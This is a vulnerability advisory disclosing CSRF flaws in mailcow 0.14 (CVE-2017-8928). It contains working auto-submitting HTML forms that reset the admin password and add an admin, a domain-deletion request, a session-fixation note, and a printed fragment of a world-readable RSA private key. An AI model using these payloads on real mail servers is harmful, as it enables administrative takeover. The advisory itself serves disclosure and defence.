MailCow 0.14 Cross Site Request Forgery

`[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
=============  
mailcow.email  
mailcow.github.io  
  
  
  
Product:  
===========  
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.  
  
  
  
Vulnerability Type:  
===================  
CSRF  
Password Reset / Add Admin / Delete Domains  
  
  
  
CVE Reference:  
==============  
CVE-2017-8928  
  
  
  
Security Issue:  
================  
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage  
remote attackers can execute the following exploits.  
  
  
1) reset admin password  
2) add arbitrary admin  
3) delete domains  
  
  
  
Other issues found in mailcow are as follows:  
  
Session fixation:  
=================  
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.  
  
ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication  
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication  
  
  
World Readable Private key "key.pem"  
====================================  
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami  
  
john  
  
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem   
  
-----BEGIN RSA PRIVATE KEY-----  
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF  
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok  
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx  
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu  
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o  
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt  
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ  
  
etc...  
  
  
References:  
============  
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd  
  
  
  
Exploit/POC:  
=============  
  
[Admin Password Reset]  
  
<form action="https://localhost/admin.php" method="post">  
<input type="hidden" name="admin_user_now" value="admin">  
<input type="hidden" name="admin_user" value="admin">  
<input type="hidden" name="admin_pass" value="Abc12345">  
<input type="hidden" name="admin_pass2" value="Abc12345">  
<input type="hidden" name="trigger_set_admin" value="">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
HTTP Response:  
  
'Changes to administrator have been saved"  
  
//////////////////////  
  
  
[Add Admin]  
  
<form action="https://localhost/admin.php" method="post">  
<input type="hidden" name="username" value="HELL">  
<input type="hidden" name="password" value="Abc12345">  
<input type="hidden" name="password2" value="Abc12345">  
<input type="hidden" name="active" value="on">  
<input type="hidden" name="trigger_add_domain_admin" value="localhost">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
////////////////////  
  
  
[Delete domains]  
  
https://localhost/mailbox.php  
domain=myDomain&trigger_mailbox_action=deletedomain  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=================================  
Vendor Notification: May 6, 2017  
Vendor releases fix: May 6, 2017  
May 14, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`